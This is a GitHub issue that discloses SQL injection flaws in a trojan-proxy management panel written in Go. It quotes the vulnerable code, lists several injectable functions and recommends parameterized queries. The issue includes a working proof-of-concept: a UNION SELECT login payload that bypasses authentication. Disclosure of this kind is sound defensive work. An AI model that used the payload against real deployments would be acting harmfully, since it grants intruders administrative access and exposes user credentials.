Skip to content

Security vulnerability #870

@Yenikal

Description

@Yenikal

Critical SQL Injection Vulnerability - Authentication Bypass

Overview

I have identified a critical SQL injection vulnerability in the authentication mechanism that allows unauthenticated remote attackers to bypass login and gain full administrative access to the trojan management system. This vulnerability affects the core database query functions and poses a severe security risk to all deployments.


Vulnerability Details

1. Authentication Bypass via SQL Injection in Login

Affected File: core/mysql.go
Affected Function: GetUserByName() at line 346
Severity: Critical
CVSS Score: 9.8

Vulnerable Code

func (mysql *Mysql) GetUserByName(name string) *User {
    db := mysql.GetDB()
    if db == nil {
        return nil
    }
    defer db.Close()
    user, err := queryUser(db, fmt.Sprintf("SELECT * FROM users WHERE BINARY username='%s'", name))
    if err != nil {
        return nil
    }
    return user
}

The name parameter is directly concatenated into the SQL query without any sanitization or use of prepared statements, allowing SQL injection attacks.

Attack Flow

The vulnerability is triggered through the authentication process in web/auth.go:

Authenticator: func(c *gin.Context) (interface{}, error) {
    var (
        password  string
        loginVals Login
    )
    if err := c.ShouldBind(&loginVals); err != nil {
        return "", jwt.ErrMissingLoginValues
    }
    userID := loginVals.Username  // User-controlled input
    pass := loginVals.Password

    if userID != "admin" {
        mysql := core.GetMysql()
        user := mysql.GetUserByName(userID)  // SQL injection here
        if user == nil {
            return nil, jwt.ErrFailedAuthentication
        }
        password = user.EncryptPass  // Attacker controls this value
    }

    if password == pass {  // Authentication check with injected data
        return &loginVals, nil
    }
    return nil, jwt.ErrFailedAuthentication
},

Proof of Concept

Request URL:

POST /auth/login

Payload:

{
  "username": "' union select 1,2,'4cfc3a1811fe40afa401b25ef7fa0379f1f7c1930a04f8755d678474',4,5,6,7,8,9 #",
  "password": "3"
}

Explanation:

  • The payload injects a UNION SELECT statement that returns a crafted user record
  • Column 3 (EncryptPass) is set to 4cfc3a1811fe40afa401b25ef7fa0379f1f7c1930a04f8755d678474 (SHA-224 hash of "3")
  • The authentication logic compares this injected hash with password "3"
  • Authentication succeeds, granting full administrative access

Resulting SQL Query:

SELECT * FROM users WHERE BINARY username='' union select 1,2,'4cfc3a1811fe40afa401b25ef7fa0379f1f7c1930a04f8755d678474',4,5,6,7,8,9 #'

2. Additional SQL Injection Vulnerabilities

The following functions also contain SQL injection vulnerabilities due to unsafe string concatenation:

2.1 GetUserByPass - Line 360

user, err := queryUser(db, fmt.Sprintf("SELECT * FROM users WHERE BINARY passwordShow='%s'", pass))

2.2 CreateUser - Line 156

if _, err := db.Exec(fmt.Sprintf("INSERT INTO users(username, password, passwordShow, quota) VALUES ('%s', '%x', '%s', -1);", username, encryPass, base64Pass)); err != nil {

2.3 UpdateUser - Line 171

if _, err := db.Exec(fmt.Sprintf("UPDATE users SET username='%s', password='%x', passwordShow='%s' WHERE id=%d;", username, encryPass, base64Pass, id)); err != nil {

2.4 SetExpire - Line 281

if _, err := db.Exec(fmt.Sprintf("UPDATE users SET useDays=%d, expiryDate='%s' WHERE id=%d;", useDays, expiryDate, id)); err != nil {

2.5 ImportCsv - web/controller/trojan.go Line 157

if _, err = db.Exec(fmt.Sprintf(`
INSERT INTO users(username, password, passwordShow, quota, download, upload, useDays, expiryDate) VALUES ('%s','%s','%s', %d, %d, %d, %d, '%s');`,
    user.Username, user.EncryptPass, user.Password, user.Quota, user.Download, user.Upload, user.UseDays, user.ExpiryDate)); err != nil {

2.6 CleanDataByName - Line 323

runSql := "UPDATE users SET download=0, upload=0 WHERE BINARY username in ("
for i, name := range usernames {
    runSql = runSql + "'" + name + "'"  // Unsafe concatenation
    if i == len(usernames)-1 {
        runSql = runSql + ")"
    } else {
        runSql = runSql + ","
    }
}

Impact

  • Complete Authentication Bypass: Attackers can login without valid credentials
  • Data Breach: Full database access allows extraction of all user credentials and configurations
  • Service Compromise: Attackers gain full administrative control over the trojan proxy system
  • Privilege Escalation: All backend management functions become accessible
  • Potential RCE: Combined with domain/certificate management features, may lead to remote code execution

Recommended Fix

Replace all string concatenation with parameterized queries (prepared statements):

Example Fix for GetUserByName

func (mysql *Mysql) GetUserByName(name string) *User {
    db := mysql.GetDB()
    if db == nil {
        return nil
    }
    defer db.Close()

    // Use parameterized query
    var (
        username    string
        encryptPass string
        passShow    string
        download    uint64
        upload      uint64
        quota       int64
        id          uint
        useDays     uint
        expiryDate  string
    )

    row := db.QueryRow("SELECT * FROM users WHERE BINARY username=?", name)
    if err := row.Scan(&id, &username, &encryptPass, &passShow, &quota, &download, &upload, &useDays, &expiryDate); err != nil {
        return nil
    }

    return &User{
        ID:          id,
        Username:    username,
        Password:    passShow,
        EncryptPass: encryptPass,
        Download:    download,
        Upload:      upload,
        Quota:       quota,
        UseDays:     useDays,
        ExpiryDate:  expiryDate,
    }
}

Complete Remediation

All database operations should be updated to use parameterized queries:

  • Use db.QueryRow("SELECT ... WHERE column=?", value) instead of fmt.Sprintf
  • Use db.Exec("INSERT ... VALUES (?)", value) for inserts and updates
  • ==Never concatenate user input directly into SQL queries==

Environment

  • Version: Latest (commit b7a7054)
  • Deployment: All installations (Docker and native)
  • Attack Vector: Network (remote)
  • Authentication Required: None

References


Disclosure

This vulnerability is being reported responsibly. I recommend:

  1. Creating a security advisory on GitHub
  2. Releasing a patch as soon as possible
  3. Notifying users to update immediately

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions